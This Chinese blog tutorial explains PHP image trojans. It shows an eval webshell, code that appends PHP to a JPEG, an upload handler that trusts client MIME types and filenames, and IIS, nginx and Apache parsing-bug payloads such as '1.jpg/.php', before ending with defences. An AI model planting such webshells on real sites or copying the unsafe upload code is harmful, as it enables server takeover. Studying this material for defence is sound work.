什么是木马

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

那,php的木马是长什么样的呢?我们来看下面这段代码:<?php

@eval($_GET['tioncico']);

这句话的意思是什么呢?只要在网页上获取到了$_GET['tioncico']的数据,就当成php代码直接执行,例如:

这个网页内容,我们忽略问号前面的数据,可看到tioncico=echo tioncico;%20是urlencode编码转换

图片木马原理

在本文中,讲到的是图片木马上传,那么该怎么制作图片木马呢?

我们首先要讲到,php上传文件的原理:

1:用户提交post请求,上传文件

2:服务器接收请求,将文件存储到临时文件

3:php解析该临时文件,获得文件类型,文件大小

4:php通过判断文件类型,进行移动临时文件到上传目录

5:php给前端返回上传成功,并返回地址

在第3步,php是如果解析临时文件的呢?

其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9

通过读取文件的字节并转为16进制,即可知道该文件类型是什么:function fileToHex($file){

if(file_exists($file)){

$data = file_get_contents($file);

return bin2hex($data);

}

return '';

}

echo fileToHex('F:\www\test\a\1.jpg.txt');

这个函数为简单实现,复杂需求需要自行查看:

输出:

很明显,这个图片格式为jpeg

php在底层中已经实现了对图片格式的识别,所以无需我们额外实现,关于文件类型头部的定义,可查看:

那么问题来了,如果我没改变文件头,然后在最后新增一串php代码,php是怎么识别类型的呢?

我们可以尝试下,在图片文件后面,额外写入一个php文件:$path = 'F:\www\test\a\1.jpg.txt';

file_put_contents($path,file_get_contents('./a/1.php'),FILE_APPEND);//1.php是一个木马文件

直接通过txt形式打开,可看到新增的数据

将1.jpg图片直接打开,可发现文件没有损坏:

通过上传文件,发现php识别的也是jpeg:

'

php解析木马原理

大家看以下代码,忽略php实现的东西,只看结构:html>

Document上传文件:

if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){

$upfile=$_FILES["upfile"];

//获取数组里面的值

$name=$upfile["name"];//上传文件的文件名

$type=$upfile["type"];//上传文件的类型

$size=$upfile["size"];//上传文件的大小

$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径

//判断是否为图片

switch($type){

case 'image/pjpeg':$okType=true;

break;

case 'image/jpeg':$okType=true;

break;

case 'image/gif':$okType=true;

break;

case 'image/png':$okType=true;

break;

}

if($okType){

/**

*0:文件上传成功

*1:超过了文件大小,在php.ini文件中设置

*2:超过了文件的大小MAX_FILE_SIZE选项指定的值

*3:文件只有部分被上传

*4:没有文件被上传

*5:上传文件大小为0

*/

$error=$upfile["error"];

echo "=======================
";

echo "上传文件名称是:".$name."
";

echo "上传文件类型是:".$type."
";

echo "上传文件大小是:".$size."
";

echo "上传后系统返回的值是:".$error."
";

echo "上传文件的临时存放路径是:".$tmp_name."
";

echo "开始移动上传文件
";

//判断up文件夹是否存在,不存在则创建

$dir='up/';

if(!is_dir($dir)){

mkdir($dir);

}

//把上传的临时文件移动到up目录下面

move_uploaded_file($tmp_name,'up/'.$name);

$destination="up/".$name;

echo "=======================
";

echo "上传信息:
";

if($error==0){

echo "文件上传成功啦!";

echo "
图片预览
";

echo "

echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">";

}else if($error==1){

echo "超过了文件的大小,在php.ini文件中设置";

}else if($error==2){

echo "超过了文件的大小MAX_FILE_SIZE选项中设置";

}else if($error==3){

echo "文件只有部分被上传";

}else if($error==4){

echo "文件没有被上传";

}else{

echo "上传文件大小为0";

}

}else{

echo "请上传jpg,gif,png等格式的图片";

}

}

?>

这代码很平常,也就是php+html标签的混合型代码,php会解析<?php ?>标签,进行获取并执行php标签内的代码

现在将这份代码换成图片+php标签:

改后缀为php看看能不能执行成功:

很明显,正常运行了,php将<?php标签外的字符当成了正常字符输出 ,只运行了php的部分.

运行图片文件

到现在,我们已经学会了如何给图片增加木马文件,并了解了图片木马的实现原理,那么,现在该如何在别人的网站执行这个木马呢?给图片改后缀?很明显我们办不到,那该怎么办呢?

我们需要借助漏洞才能执行(这就意味着木马并不是万能的,可以入侵别人的全部网站)

漏洞方法如下

include 漏洞

只要对方的php代码中存在 include xxxx ,这个xxxx可以传入外部参数的时候,

例如有些开发者自己实现的框架中,include controller 这个controller 有做全路径引入的时候

web服务器的pathinfo漏洞

IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpgIIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.phpNginx <8.03 空字节代码执行漏洞 1.jpg%00.phpApache 解析漏洞 .php.一个无效后缀还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,

例如本人使用phpstudy nginx/1.11.5+php7.2.10成功复现:

讲解一下,我网站中存在a/test.jpg,通过访问test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,并且被php调度执行成功,通过get传的tioncico=echo%20%27仙士可牛逼!%27; 参数,在php中解析成功,输出了 仙士可牛逼!

其他漏洞可以自测哦

漏洞防范

1:升级web服务器版本,尽量使用新版本

2:图片最好是存入oss,或者图片上传目录注意不要给执行权限(web服务器执行图片目录的权限)

3:图片可以的话,可以进行二次处理,把木马文件过滤掉

4:永远不要相信用户的输入

其他

刚刚的eval函数木马文件,是不是觉得很简单,很容易识别?

并且,eval函数,可能还是被php禁用的危险函数.那么我们可以用什么呢?

另外提一嘴,既然是可以执行php文件了,完全可以在图片文件中,include 另一个图片文件,等等

本文为仙士可原创文章,转载无需和我联系,但请注明来自仙士可博客www.php20.cn

php 图片木马,php图片木马实现原理相关推荐

  1. 木马制作——图片木马制作

    木马制作--图片木马制作 一.简单说明 图片木马指的是图片格式的文件木马,图片格式包括jpg,png等,原理是将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗透中 ...

  2. 记一次对DZ的渗透.(一句话木马与图片,文件上传解析漏洞)

    一.举例:St0rs Team 指剑碎星河分享 前言0X01 某日某帅正在使用着啊D 入侵百度的时候, 突然某位好友发来一条消息. "滴滴上车" 打开消息一看,说是要某帅帮忙日一个 ...

  3. 入狱小技巧之木马制作——图片木马制作

    0x01 图片木马制作 0x02 简单说明 图片木马指的是图片格式的文件木马,图片格式包括jpg,png等,原理是将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗 ...

  4. 如何防止木马性图片上传

    如何防止木马性图片上传 这个代码我检验过没有问题,可以阻挡木马性图片的上传 <% '******************************************************* ...

  5. python实现键盘记录木马_Python告诉你木马程序的键盘记录原理

    前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这 ...

  6. 如何利用百度图片搜索进行引流?原理是怎样的?

    究竟百度图片搜索如何运作?其实它的运作原理与搜索引擎很类似,一样会经过以下三个步骤: 爬取 Crawling 索引 Indexing 排序 Ranking 百度图片蜘蛛会先去爬取网络上各个网站的图片, ...

  7. 实现仿知乎的开场动画,图片zoomin的效果,实现原理,没加动效

    知乎等应用的开场动画是:全屏显示一副图像,并以图像的中间为原点,实现放大(也就是zoomin)的动画,让等待的过程不再单调乏味. 最近不是很忙,因此想了下如何实现这种效果,方案是:采用调整imagev ...

  8. 彩色图片转手绘线稿的原理简述与Python实现

    大家好,我是小小明,在学习 好友叶庭云 介绍的一门中国大学MOOC的课程中,学到手绘图像,下面我测试并总结一下. 课程链接是:https://www.icourse163.org/course/BIT ...

  9. PNG图片压缩无损,但解析原理呢?

    点击上方"IT平头哥联盟",选择"置顶或者星标" 一起进步- 作者:腾讯新闻@airuikun 背景 今天凌晨一点,突然有个人加我的qq,一看竟然是十年前被我删 ...

  10. OpenCV resize 改变图片大小,4种方式原理对比

    微信:18233275213 本文共总结了OpenCV提供的4种resize图片的方法: 一.最近邻插值法 INTER_NEAREST 二.双线性插值(默认设置) INTER_LINEAR 一.最近邻 ...

最新文章

  1. LinkedList集合
  2. 关于 Orbeon form PE 版本使用 JavaScript Embedding API 的一个例子
  3. eclipse 代码上传github 笔记
  4. MySQL截取SUBSTRING
  5. 好评度很高的通用基础库,代码写的不错!
  6. 思维导图的使用场合有哪些?怎么画思维导图
  7. 2022年基站行业研究报告
  8. html遮罩层动画制作,《Flash遮罩层动画的制作》的教学反思
  9. 计算机课软件有哪些,电脑录课有哪些软件?
  10. 【网络】4G、5G频段汇总
  11. 北京林业大学计算机考研录取分数线,北京林业大学信息学院计算机技术(专业学位)专业考研招生人数 考研报录比 考研复试分数线 考研辅导.pdf...
  12. 禾瑞亚USB接口电阻触摸屏控制卡QNX 6.5 RTOS操作系统x86架构驱动安装与配置方法
  13. bigbrother的补充单节点hdfs搭建好后搭建mapredce
  14. 手机QQ协议抓包教程
  15. 计算机游戏锁怎么打开,电脑玩游戏锁帧怎么办
  16. html5可视化编辑器教程,html5可视化编辑器sx html5 vip使用教程(附vip账号)
  17. 基于.Net平台C#的微信网页版API
  18. 常用估值方法的编程实现(1):自由现金流折现
  19. windows下使用批处理命令快速关闭显示器 锁屏代码 BAT代码分享
  20. 微信公众号开发之自动回复

热门文章

  1. ajax直接调用数据库数据库数据库,AJAX调用mysql数据库简单例子(示例代码)
  2. phpnow mysql_phpnow重新安装mysql数据库的方法
  3. FS2711代替松翰2711国产单片机
  4. Web语音播报提示音
  5. 【python初级】os.listdir返回目录中包含的文件以及文件夹的列表
  6. 初探信息科学中“三个世界”模型
  7. Flink在流处理上的Source和sink操作、Flink--sink到kafka
  8. Unity Kinect添加自定义姿势识别
  9. 影子内存(Shadow RAM)介绍_4
  10. SpringBoot个人学习